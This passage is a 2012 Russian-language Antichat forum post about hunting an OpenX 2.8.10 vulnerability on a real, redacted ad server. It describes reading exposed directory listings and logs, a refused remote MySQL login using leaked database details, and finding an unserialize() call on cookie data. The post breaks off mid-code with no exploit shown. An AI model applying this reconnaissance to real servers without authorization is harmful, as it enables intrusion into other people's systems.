HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Перезагрузить страницу OpenX 0-day - Последняя версия
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 25.12.2012, 06:33
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию
Во время посещения hostingkartinok.com - хостинга картинок, я наткнулся на сервер ***, предлагающий мне заработать денег. А почему бы не заработать?

Начинем зарабатывать:

*** - Apache/2.2.15 (CentOS) Server - PHP/5.3.3

Реф-ссылки:

http://***/ox/www/delivery/ck.php?oaparams=2__bannerid=46__zoneid=7__cb=0b76e 8e599__oadest=http%3A%2F%2Fwww.metod-deneg.com%2Fic%2Fhkart%2F%3Futm_source%3Dhostkart% 26utm_medium%3Dbanner%26utm_campaign%3Deuropa80

http://***/ic/hkart/?utm_source=hostkart&utm_medium=banner&utm_campaig n=europa80

Серверная страница:

http://***/ - Apache 2 Test Page

OpenX Panel(Открывается при переходе на http://***/ox/):

http://***/ox/www/admin/index.php

http://***/ox/www/delivery/ - Мы имеем листинг файлов c указанием размера каждого файла, и мы можем попробовать найти эти скрипты в интернете, если это публичная партнерка и т.п.:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]ac[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 144K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]afr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 146K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]ag[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 100K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]ai[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 101K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]ajs[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 146K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]al[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 145K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]alocal[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 145K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]apu[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 146K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]avw[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 144K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]ax[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 145K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]axmlrpc[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 158K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]ck[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 106K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]crossdomain[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]xml 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 199

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]dxmlrpc[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 101K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]fc[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 2.9K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]fl[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]js 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 6.5K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]lg[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 105K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]robots[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]txt 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 305

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]spc[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 145K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]spcjs[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 105K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]ti[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 101K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]tjs[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 102K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]tv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 100K

[/COLOR][/COLOR] 
http://***/ox/www/delivery/crossdomain.xml:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/COLOR]

[/COLOR] 
robos.txt:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]# This robots.txt file requests that search engines and other

# automated web-agents don't try to index the files in this

# directory (/www/delivery/). This file is required in the

# event that you use OpenX with virtual domains, and have one

# set up for the delivery interface.

[/COLOR][COLOR="#0000BB"]User[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]agent[/COLOR][COLOR="#007700"]: *

[/COLOR][COLOR="#0000BB"]Disallow[/COLOR][COLOR="#007700"]: /

[/COLOR][/COLOR] 
На этом я начинаю догаыватся, что OpenX - не система управления сервером, как cPanel, а что-то другое. Скачиваем, только вот версию мы пока не знаем, однако файлы размещены 12-Sep-2012, и мы можем приблизительно выбрать нужную нам версию.

Находим инфу на рдоте и античате, однако скорее всего эксплоиты не актуальны:

https://rdot.org/forum/showthread.php?t=70

/threadnav150144-3-10.html

OpenX.org

И неразработанную уязвимость:

https://rdot.org/forum/showpost.php?p=27517&postcount=8

Нам нужно узнать версию. Так, заходим на http://download.openx.org/, имеем версии от 2012-05-08 и 2012-09-19, нам подходит первая. Скачиваем.

Уже лучше, у нас есть исходники. Сразу-же замечаем файл RELEASE_NOTES.txt.

Так: http://***/ox/RELEASE_NOTES.txt

What's New in OpenX 2.8.10

----------------------------

* Release date: 2012-09-12

Не угадали Скачиваем OpenX 2.8.10. У нас имеется последняя версия, похоже придется искать уязвимости самому.

Что мы имеем? Руки, сервер и 48,9 МБ исходников.

В некоторых файлах код очень кривой, значит где-то поблизости есть уязвимость:

Получение хоста:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]OX_getHostName[/COLOR][COLOR="#007700"]()

{

if (!empty([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]])) {

[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]]);

[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

} else if (!empty([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'SERVER_NAME'[/COLOR][COLOR="#007700"]])) {

[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'SERVER_NAME'[/COLOR][COLOR="#007700"]]);

[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

}

return[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"];

}

[/COLOR][/COLOR] 
Примерно одинаковых 100 Кб функций находится практически во всех файлах. Попробуем найти моменты, где используется функция OX_getHostName():

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]grep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]rnw[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#DD0000"]"OX_getHostName()"[/COLOR][COLOR="#007700"]~/[/COLOR][COLOR="#0000BB"]Загрузки[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]openx[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2.8.10[/COLOR][COLOR="#007700"]/

[/COLOR][/COLOR] 
Вроде-бы ничего полезного нет, исходя из того, что версия PHP 5.3.3. Основная часть кривого кода распологается в OpenX/www/delivery, востанавливаем форматирование файлов с помощью http://beta.phpformatter.com/. Мгновение - и перед нами читабильный код.

Копаем дальше, находим логи:

http://***/ox/var/debug.log

http://***/ox/var/install.log

http://***/ox/var/cache/ - Полная папка с чем-то.

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]Installation started 2012[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]23 03[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]19[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]13

Attempting to connect to database ox with user ox

Connected to database ox

Database settings[/COLOR][COLOR="#007700"]and[/COLOR][COLOR="#0000BB"]permissions are OK

creating upgrade_action audit table

successfully created upgrade_action audit table

creating database_action audit table

successfully created database_action audit table

schema definition from cache TRUE

Installation created the core tables

Installation updated the schema version to 613

Installation updated the application version to 2.8.10

Preparing to set timezone preference[/COLOR][COLOR="#007700"]...

[/COLOR][COLOR="#0000BB"]Found timezone preference ID of 16

Found the admin account[/COLOR][COLOR="#DD0000"]'s timezone association, updating preference...

Updated the admin account timezone preference to: '[/COLOR][COLOR="#0000BB"]Europe[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]Moscow[/COLOR][COLOR="#DD0000"]'

Starting file-check for plugins...

Finished file-check for plugins

Starting file-check for plugins...

Finished file-check for plugins

Starting file-check for plugins...

Finished file-check for plugins

[/COLOR][/COLOR] 
Имя БД: ox

Пользователь: ox

Пароля нет, но пробуем подключится удаленно:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]ERROR 1130[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]HY000[/COLOR][COLOR="#007700"]):[/COLOR][COLOR="#0000BB"]Host[/COLOR][COLOR="#DD0000"]'**'[/COLOR][COLOR="#0000BB"]is not allowed to connect to this MySQL server

[/COLOR][/COLOR] 
Увы. Придется иследовать объемные исходники огромной CMS последней версии, делать больше нечего. N-Дней исследований дали свои труды. Сразу скажу, что я исследовал много файлов и писать обо всем не имеет смысла. Искать что-то в таком объеме файлов - полное безумие, и я решил попробовать найти что-то нестандартное с помощью grep.

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]grep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]rnw[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#DD0000"]"unserialize"[/COLOR][COLOR="#007700"]~/[/COLOR][COLOR="#0000BB"]Загрузки[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]openx[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2.8.10[/COLOR][COLOR="#007700"]/

...

~/[/COLOR][COLOR="#0000BB"]Загрузки[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]openx[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2.8.10[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]delivery[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]ck[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]3156[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]$aVars[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]unserialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]stripslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'vars'[/COLOR][COLOR="#007700"]]][[/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]]));

...

[/COLOR][/COLOR] 
К истине уже ближе.

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]
[/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]MAX_querystringConvertParams[/COLOR][COLOR="#007700"]()

{

[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$GLOBALS[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'_MAX'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'CONF'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'QUERY_STRING'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$dest[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$destStr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]'='[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$destStr[/COLOR][COLOR="#007700"]);

 if ([/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]$destStr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'dest='[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$destStr[/COLOR][COLOR="#007700"]);

 }

 if ([/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]$dest[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$destStr[/COLOR][COLOR="#007700"])));

[/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]);

 }

[/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"]= array();

[/COLOR][COLOR="#0000BB"]$paramStr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'params'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]'='[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$paramPos[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$paramStr[/COLOR][COLOR="#007700"]);

 if ([/COLOR][COLOR="#0000BB"]is_numeric[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$paramPos[/COLOR][COLOR="#007700"])) {

[/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$paramPos[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$paramStr[/COLOR][COLOR="#007700"])));

[/COLOR][COLOR="#0000BB"]$delim[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]};

 if ([/COLOR][COLOR="#0000BB"]is_numeric[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$delim[/COLOR][COLOR="#007700"])) {

[/COLOR][COLOR="#0000BB"]$delim[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$delim[/COLOR][COLOR="#007700"]);

 }

[/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$delim[/COLOR][COLOR="#007700"]) +[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]MAX_querystringParseStr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$delim[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$qPos[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]]) ?[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]],[/COLOR][COLOR="#DD0000"]'?'[/COLOR][COLOR="#007700"]) :[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

